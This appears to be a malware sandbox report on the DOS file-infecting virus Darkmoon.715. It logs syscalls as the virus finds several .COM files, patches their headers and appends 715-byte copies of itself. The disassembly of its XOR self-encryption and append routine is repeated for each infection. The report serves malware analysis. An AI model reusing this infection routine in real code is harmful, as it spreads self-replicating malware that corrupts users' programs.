Sample viewer

vx.netlux.org/Virus.DOS.Darkmoon.715

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:30:00.322036701Z 26 PC: 12b90 | Set disk transfer address
2018-12-17T22:30:00.323708201Z 25 PC: 12bae | Get default drive
2018-12-17T22:30:00.326489436Z 71 PC: 12bc6 | Get current directory
2018-12-17T22:30:00.330058078Z 78 PC: 12c58 | Find first file
2018-12-17T22:30:00.337051718Z 67 PC: 12c77 | Get or set file attributes
2018-12-17T22:30:00.368571911Z 61 PC: 12c7c | Open file (Filename = 'TEST.EXE')
2018-12-17T22:30:00.376145924Z 66 PC: 12c89 | Move file pointer
2018-12-17T22:30:00.378017527Z 63 PC: 12c94 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:30:00.382235011Z 62 PC: 12de7 | Close file
2018-12-17T22:30:00.384207707Z 67 PC: 12df7 | Get or set file attributes
2018-12-17T22:30:00.397786399Z 79 PC: 12c69 | Find next file
2018-12-17T22:30:00.401115305Z 78 PC: 12c58 | Find first file
2018-12-17T22:30:00.418799172Z 67 PC: 12c77 | Get or set file attributes
2018-12-17T22:30:00.429999445Z 61 PC: 12c7c | Open file (Filename = 'SLEEP.COM')
2018-12-17T22:30:00.43808252Z 66 PC: 12c89 | Move file pointer
2018-12-17T22:30:00.441005632Z 63 PC: 12c94 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:30:00.448557798Z 66 PC: 12ca9 | Move file pointer
2018-12-17T22:30:00.450501869Z 63 PC: 12cbc | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:30:00.454740014Z 66 PC: 12ce5 | Move file pointer
2018-12-17T22:30:00.456645332Z 64 PC: 12cf0 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:30:00.460835193Z 44 PC: 12da6 | Get time 0x12da6: or dx, dx
0x12da8: je 0x12da2
0x12daa: xor dl, dh
0x12dac: mov byte ptr cs:[bp + 0x12a], dl
0x12db1: cld
0x12db2: lea si, word ptr [bp + 0x104]
0x12db6: lea di, word ptr [bp + 0x4c2]
0x12dba: mov cx, 0x2cb
0x12dbd: rep movsb byte ptr es:[di], byte ptr [si]
0x12dbf: lea si, word ptr [bp + 0x4e9]
0x12dc3: mov cx, 0x2a2
0x12dc6: xor byte ptr cs:[si], dl
0x12dc9: inc si
0x12dca: loop 0x12dc6
0x12dcc: mov ax, 0x4202
0x12dcf: xor dx, dx
0x12dd1: int 0x21
0x12dd3: mov ah, 0x40
0x12dd5: lea dx, word ptr [bp + 0x4c2]
0x12dd9: mov cx, 0x2cb
2018-12-17T22:30:00.46590446Z 66 PC: 12dd3 | Move file pointer
2018-12-17T22:30:00.467583883Z 64 PC: 12dde | Write file or device (Write 715 bytes on handle 5)
2018-12-17T22:30:00.47710957Z 62 PC: 12de7 | Close file
2018-12-17T22:30:00.486506481Z 67 PC: 12df7 | Get or set file attributes
2018-12-17T22:30:00.497638777Z 79 PC: 12c69 | Find next file
2018-12-17T22:30:00.500685143Z 67 PC: 12c77 | Get or set file attributes
2018-12-17T22:30:00.520817341Z 61 PC: 12c7c | Open file (Filename = 'PRINT.COM')
2018-12-17T22:30:00.528007126Z 66 PC: 12c89 | Move file pointer
2018-12-17T22:30:00.53001907Z 63 PC: 12c94 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:30:00.536322394Z 66 PC: 12ca9 | Move file pointer
2018-12-17T22:30:00.539444932Z 63 PC: 12cbc | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:30:00.542187535Z 66 PC: 12ce5 | Move file pointer
2018-12-17T22:30:00.543955877Z 64 PC: 12cf0 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:30:00.547354744Z 44 PC: 12da6 | Get time 0x12da6: or dx, dx
0x12da8: je 0x12da2
0x12daa: xor dl, dh
0x12dac: mov byte ptr cs:[bp + 0x12a], dl
0x12db1: cld
0x12db2: lea si, word ptr [bp + 0x104]
0x12db6: lea di, word ptr [bp + 0x4c2]
0x12dba: mov cx, 0x2cb
0x12dbd: rep movsb byte ptr es:[di], byte ptr [si]
0x12dbf: lea si, word ptr [bp + 0x4e9]
0x12dc3: mov cx, 0x2a2
0x12dc6: xor byte ptr cs:[si], dl
0x12dc9: inc si
0x12dca: loop 0x12dc6
0x12dcc: mov ax, 0x4202
0x12dcf: xor dx, dx
0x12dd1: int 0x21
0x12dd3: mov ah, 0x40
0x12dd5: lea dx, word ptr [bp + 0x4c2]
0x12dd9: mov cx, 0x2cb
2018-12-17T22:30:00.549957935Z 66 PC: 12dd3 | Move file pointer
2018-12-17T22:30:00.551654703Z 64 PC: 12dde | Write file or device (Write 715 bytes on handle 5)
2018-12-17T22:30:00.560405137Z 62 PC: 12de7 | Close file
2018-12-17T22:30:00.568985175Z 67 PC: 12df7 | Get or set file attributes
2018-12-17T22:30:00.580016985Z 79 PC: 12c69 | Find next file
2018-12-17T22:30:00.583450558Z 67 PC: 12c77 | Get or set file attributes
2018-12-17T22:30:00.59463624Z 61 PC: 12c7c | Open file (Filename = 'HELLO.COM')
2018-12-17T22:30:00.609798191Z 66 PC: 12c89 | Move file pointer
2018-12-17T22:30:00.61559574Z 63 PC: 12c94 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:30:00.626514704Z 66 PC: 12ca9 | Move file pointer
2018-12-17T22:30:00.628300073Z 63 PC: 12cbc | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:30:00.633206633Z 66 PC: 12ce5 | Move file pointer
2018-12-17T22:30:00.636709428Z 64 PC: 12cf0 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:30:00.639735118Z 44 PC: 12da6 | Get time 0x12da6: or dx, dx
0x12da8: je 0x12da2
0x12daa: xor dl, dh
0x12dac: mov byte ptr cs:[bp + 0x12a], dl
0x12db1: cld
0x12db2: lea si, word ptr [bp + 0x104]
0x12db6: lea di, word ptr [bp + 0x4c2]
0x12dba: mov cx, 0x2cb
0x12dbd: rep movsb byte ptr es:[di], byte ptr [si]
0x12dbf: lea si, word ptr [bp + 0x4e9]
0x12dc3: mov cx, 0x2a2
0x12dc6: xor byte ptr cs:[si], dl
0x12dc9: inc si
0x12dca: loop 0x12dc6
0x12dcc: mov ax, 0x4202
0x12dcf: xor dx, dx
0x12dd1: int 0x21
0x12dd3: mov ah, 0x40
0x12dd5: lea dx, word ptr [bp + 0x4c2]
0x12dd9: mov cx, 0x2cb
2018-12-17T22:30:00.642654823Z 66 PC: 12dd3 | Move file pointer
2018-12-17T22:30:00.645408121Z 64 PC: 12dde | Write file or device (Write 715 bytes on handle 5)
2018-12-17T22:30:00.654621967Z 62 PC: 12de7 | Close file
2018-12-17T22:30:00.668582026Z 67 PC: 12df7 | Get or set file attributes
2018-12-17T22:30:00.680338473Z 79 PC: 12c69 | Find next file
2018-12-17T22:30:00.68359227Z 67 PC: 12c77 | Get or set file attributes
2018-12-17T22:30:00.69508683Z 61 PC: 12c7c | Open file (Filename = 'PHANG.COM')
2018-12-17T22:30:00.703859112Z 66 PC: 12c89 | Move file pointer
2018-12-17T22:30:00.705711894Z 63 PC: 12c94 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:30:00.713086878Z 66 PC: 12ca9 | Move file pointer
2018-12-17T22:30:00.715734424Z 63 PC: 12cbc | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:30:00.718517226Z 66 PC: 12ce5 | Move file pointer
2018-12-17T22:30:00.720024282Z 64 PC: 12cf0 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:30:00.72363372Z 44 PC: 12da6 | Get time 0x12da6: or dx, dx
0x12da8: je 0x12da2
0x12daa: xor dl, dh
0x12dac: mov byte ptr cs:[bp + 0x12a], dl
0x12db1: cld
0x12db2: lea si, word ptr [bp + 0x104]
0x12db6: lea di, word ptr [bp + 0x4c2]
0x12dba: mov cx, 0x2cb
0x12dbd: rep movsb byte ptr es:[di], byte ptr [si]
0x12dbf: lea si, word ptr [bp + 0x4e9]
0x12dc3: mov cx, 0x2a2
0x12dc6: xor byte ptr cs:[si], dl
0x12dc9: inc si
0x12dca: loop 0x12dc6
0x12dcc: mov ax, 0x4202
0x12dcf: xor dx, dx
0x12dd1: int 0x21
0x12dd3: mov ah, 0x40
0x12dd5: lea dx, word ptr [bp + 0x4c2]
0x12dd9: mov cx, 0x2cb
2018-12-17T22:30:00.732420886Z 66 PC: 12dd3 | Move file pointer
2018-12-17T22:30:00.73482959Z 64 PC: 12dde | Write file or device (Write 715 bytes on handle 5)
2018-12-17T22:30:00.756137661Z 62 PC: 12de7 | Close file
2018-12-17T22:30:00.765587014Z 67 PC: 12df7 | Get or set file attributes
2018-12-17T22:30:00.78820908Z 79 PC: 12c69 | Find next file
2018-12-17T22:30:00.792234749Z 67 PC: 12c77 | Get or set file attributes
2018-12-17T22:30:00.805189507Z 61 PC: 12c7c | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T22:30:00.813292014Z 66 PC: 12c89 | Move file pointer
2018-12-17T22:30:00.815391Z 63 PC: 12c94 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:30:00.823546288Z 66 PC: 12ca9 | Move file pointer
2018-12-17T22:30:00.825621088Z 63 PC: 12cbc | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:30:00.828911567Z 66 PC: 12ce5 | Move file pointer
2018-12-17T22:30:00.831451899Z 64 PC: 12cf0 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:30:00.834719929Z 44 PC: 12da6 | Get time 0x12da6: or dx, dx
0x12da8: je 0x12da2
0x12daa: xor dl, dh
0x12dac: mov byte ptr cs:[bp + 0x12a], dl
0x12db1: cld
0x12db2: lea si, word ptr [bp + 0x104]
0x12db6: lea di, word ptr [bp + 0x4c2]
0x12dba: mov cx, 0x2cb
0x12dbd: rep movsb byte ptr es:[di], byte ptr [si]
0x12dbf: lea si, word ptr [bp + 0x4e9]
0x12dc3: mov cx, 0x2a2
0x12dc6: xor byte ptr cs:[si], dl
0x12dc9: inc si
0x12dca: loop 0x12dc6
0x12dcc: mov ax, 0x4202
0x12dcf: xor dx, dx
0x12dd1: int 0x21
0x12dd3: mov ah, 0x40
0x12dd5: lea dx, word ptr [bp + 0x4c2]
0x12dd9: mov cx, 0x2cb
2018-12-17T22:30:00.837800745Z 66 PC: 12dd3 | Move file pointer
2018-12-17T22:30:00.840424957Z 64 PC: 12dde | Write file or device (Write 715 bytes on handle 5)
2018-12-17T22:30:00.849955323Z 62 PC: 12de7 | Close file
2018-12-17T22:30:00.859936325Z 67 PC: 12df7 | Get or set file attributes
2018-12-17T22:30:00.8717591Z 79 PC: 12c69 | Find next file
2018-12-17T22:30:00.875168966Z 67 PC: 12c77 | Get or set file attributes
2018-12-17T22:30:00.88656298Z 61 PC: 12c7c | Open file (Filename = 'MANDEL.COM')
2018-12-17T22:30:00.894897671Z 66 PC: 12c89 | Move file pointer
2018-12-17T22:30:00.896627068Z 63 PC: 12c94 | Read file or device (Read 2 bytes on handle 5)
2018-12-17T22:30:00.901364562Z 66 PC: 12ca9 | Move file pointer
2018-12-17T22:30:00.903071208Z 63 PC: 12cbc | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:30:00.905089746Z 66 PC: 12ce5 | Move file pointer
2018-12-17T22:30:00.906376252Z 64 PC: 12cf0 | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:30:00.908941569Z 44 PC: 12da6 | Get time 0x12da6: or dx, dx
0x12da8: je 0x12da2
0x12daa: xor dl, dh
0x12dac: mov byte ptr cs:[bp + 0x12a], dl
0x12db1: cld
0x12db2: lea si, word ptr [bp + 0x104]
0x12db6: lea di, word ptr [bp + 0x4c2]
0x12dba: mov cx, 0x2cb
0x12dbd: rep movsb byte ptr es:[di], byte ptr [si]
0x12dbf: lea si, word ptr [bp + 0x4e9]
0x12dc3: mov cx, 0x2a2
0x12dc6: xor byte ptr cs:[si], dl
0x12dc9: inc si
0x12dca: loop 0x12dc6
0x12dcc: mov ax, 0x4202
0x12dcf: xor dx, dx
0x12dd1: int 0x21
0x12dd3: mov ah, 0x40
0x12dd5: lea dx, word ptr [bp + 0x4c2]
0x12dd9: mov cx, 0x2cb
2018-12-17T22:30:00.910785124Z 66 PC: 12dd3 | Move file pointer
2018-12-17T22:30:00.912068662Z 64 PC: 12dde | Write file or device (Write 715 bytes on handle 5)
2018-12-17T22:30:00.918760942Z 62 PC: 12de7 | Close file
2018-12-17T22:30:00.92504379Z 67 PC: 12df7 | Get or set file attributes
2018-12-17T22:30:00.931658218Z 59 PC: 12bd7 | Change current directory
2018-12-17T22:30:00.935627426Z 26 PC: 12be1 | Set disk transfer address
2018-12-17T22:30:00.936930805Z 59 PC: 12be9 | Change current directory